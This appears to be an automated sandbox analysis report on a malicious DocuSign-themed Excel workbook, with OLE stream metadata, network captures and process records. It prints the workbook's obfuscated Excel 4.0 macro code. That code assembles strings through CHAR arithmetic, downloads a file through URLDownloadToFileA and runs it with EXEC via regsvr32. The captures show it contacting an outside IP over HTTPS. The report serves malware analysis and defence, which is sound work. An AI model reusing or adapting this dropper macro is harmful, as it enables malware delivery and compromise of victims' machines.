| Creating Application: | |
| Security: | 0 |
Document Summary | |
|---|---|
| Document Code Page: | 1251 |
| Thumbnail Scaling Desired: | False |
| Contains Dirty Links: | False |
| Shared Document: | False |
| Changed Hyperlinks: | False |
| Application Version: | 917504 |
Streams |
|---|
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5DocumentSummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.367004077607 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . 2 . . . . . . . . . 3 . . . . . . . . . 1 . . . . . . . . . 4 . . . . . . . . . 5 . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 bf 00 00 00 02 00 00 00 e3 04 00 00 |
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5SummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.246848689361 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . x 7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00 |
Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 327615 |
|---|
General | |
|---|---|
| Stream Path: | Workbook |
| File Type: | Applesoft BASIC program data, first line number 16 |
| Stream Size: | 327615 |
| Entropy: | 7.64856469562 |
| Base64 Encoded: | True |
| Data ASCII: | . . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . l . . 9 P . 8 . . . . . . . X . @ . . . . . . |
| Data Raw: | 09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |
Macro 4.0 Code |
|---|
CALL("Ke"&????2!HY314&"32", "Cr"&????2!IA342&"yA", "JCJ", ????2!HP312&????2!HP327, 0)
CALL("U"&????2!IA332, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HP312&????2!HP327&????2!HP341, 0, 0)
=RUN(R59),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN(????4!D50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!HY314&""32"",""Cr""&????2!IA342&""yA"",""JCJ"",????2!HP312&????2!HP327,0)",,,,,,,,,,,,,,,,,=RUN(????5!A50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!HY314&""32"",""Cr""&????2!IA342&""yA"",""JCJ"",????2!HP312,0)",,,,=RUN(????1!M66),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F78,G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157,=CHAR(F83-G83-H83),501,328,108"=CALL(""U""&????2!IA332,""U""&????4!E65,""IICCII"",0,????2!EE100,????2!HP312&????2!HP327&????2!HP341,0,0)"=EXEC(????3!W36&????2!HP312&????2!HP327&????2!HP341)=HALT()
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library NodeNetwork Behavior |
|---|
Network Port Distribution |
|---|
TCP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Nov 29, 2020 04:01:46.152203083 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:46.173379898 CET | 443 | 49706 | 78.46.235.88 | 192.168.2.3 |
| Nov 29, 2020 04:01:46.173521042 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:46.175168991 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:46.471893072 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:46.971856117 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:47.675100088 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:48.972434998 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:50.190886974 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:51.472265959 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:53.972460032 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:01:58.863501072 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
| Nov 29, 2020 04:02:08.473673105 CET | 49706 | 443 | 192.168.2.3 | 78.46.235.88 |
UDP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Nov 29, 2020 04:01:28.816087961 CET | 50620 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:28.866506100 CET | 53 | 50620 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:28.924714088 CET | 64938 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:28.960041046 CET | 53 | 64938 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:41.709986925 CET | 60152 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:41.759522915 CET | 53 | 60152 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:42.016793966 CET | 57544 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:42.055788994 CET | 53 | 57544 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:43.159807920 CET | 57544 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:43.220546961 CET | 53 | 57544 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:44.175158024 CET | 57544 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:44.210436106 CET | 53 | 57544 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:46.114607096 CET | 55984 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:46.150192976 CET | 53 | 55984 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:46.190922022 CET | 57544 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:46.226324081 CET | 53 | 57544 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:49.917573929 CET | 64185 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:49.944808960 CET | 53 | 64185 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:50.258222103 CET | 57544 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:50.293621063 CET | 53 | 57544 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:51.042660952 CET | 65110 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:51.069705963 CET | 53 | 65110 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:53.456742048 CET | 58361 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:53.492194891 CET | 53 | 58361 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:54.175499916 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:54.202689886 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:55.264096975 CET | 60831 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:55.291238070 CET | 53 | 60831 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:55.568530083 CET | 60100 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:55.595805883 CET | 53 | 60100 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:55.921510935 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:55.957062006 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:57.155601978 CET | 50141 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:57.191101074 CET | 53 | 50141 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:58.216836929 CET | 53023 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:58.254493952 CET | 53 | 53023 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:58.984122038 CET | 49563 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:59.023827076 CET | 53 | 49563 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:01:59.290888071 CET | 51352 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:01:59.317945957 CET | 53 | 51352 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:00.302623987 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:00.330043077 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:01.293096066 CET | 57084 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:01.320317984 CET | 53 | 57084 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:02.409102917 CET | 58823 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:02.436214924 CET | 53 | 58823 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:03.401622057 CET | 57568 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:03.428778887 CET | 53 | 57568 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:04.408021927 CET | 50540 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:04.435240030 CET | 53 | 50540 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:05.639817953 CET | 54366 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:05.667087078 CET | 53 | 54366 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:06.610944986 CET | 53034 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:06.646823883 CET | 53 | 53034 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:07.610301971 CET | 57762 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:07.637465954 CET | 53 | 57762 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:08.710860968 CET | 55435 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:08.746397018 CET | 53 | 55435 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:09.046011925 CET | 50713 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:09.089818001 CET | 53 | 50713 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:09.725568056 CET | 56132 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:09.752847910 CET | 53 | 56132 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:18.043654919 CET | 58987 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:18.080972910 CET | 53 | 58987 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:30.470527887 CET | 56579 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:30.497594118 CET | 53 | 56579 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:02:34.220824957 CET | 60633 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:02:34.257802963 CET | 53 | 60633 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:03:05.544074059 CET | 61292 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:03:05.571959019 CET | 53 | 61292 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:03:07.290894032 CET | 63619 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:03:07.326463938 CET | 53 | 63619 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:04:13.363576889 CET | 64938 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:04:13.398994923 CET | 53 | 64938 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:04:13.725240946 CET | 61946 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:04:13.763503075 CET | 53 | 61946 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:04:14.130362988 CET | 64910 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:04:14.157973051 CET | 53 | 64910 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:04:14.752639055 CET | 52123 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:04:14.788316965 CET | 53 | 52123 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:04:15.045103073 CET | 56130 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:04:15.082721949 CET | 53 | 56130 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:04:15.685803890 CET | 56338 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:04:15.721496105 CET | 53 | 56338 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:04:16.039372921 CET | 59420 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:04:16.075092077 CET | 53 | 59420 | 8.8.8.8 | 192.168.2.3 |
DNS Queries |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
|---|---|---|---|---|---|---|---|
| Nov 29, 2020 04:01:46.114607096 CET | 192.168.2.3 | 8.8.8.8 | 0xf9ea | Standard query (0) | A (IP address) | IN (0x0001) |
DNS Answers |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class |
|---|---|---|---|---|---|---|---|---|---|
| Nov 29, 2020 04:01:46.150192976 CET | 8.8.8.8 | 192.168.2.3 | 0xf9ea | No error (0) | 78.46.235.88 | A (IP address) | IN (0x0001) |
Code Manipulations |
|---|
Statistics |
|---|
Behavior |
|---|
Click to jump to process
System Behavior |
|---|
General |
|---|
| Start time: | 04:01:40 |
| Start date: | 29/11/2020 |
| Path: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0xaf0000 |
| File size: | 27110184 bytes |
| MD5 hash: | 5D6638F2C8F8571C593999C58866007E |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
General |
|---|
| Start time: | 04:02:08 |
| Start date: | 29/11/2020 |
| Path: | C:\Windows\SysWOW64\regsvr32.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x13d0000 |
| File size: | 20992 bytes |
| MD5 hash: | 426E7499F6A7346F0410DEAD0805586B |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
Disassembly |
|---|
Code Analysis |
|---|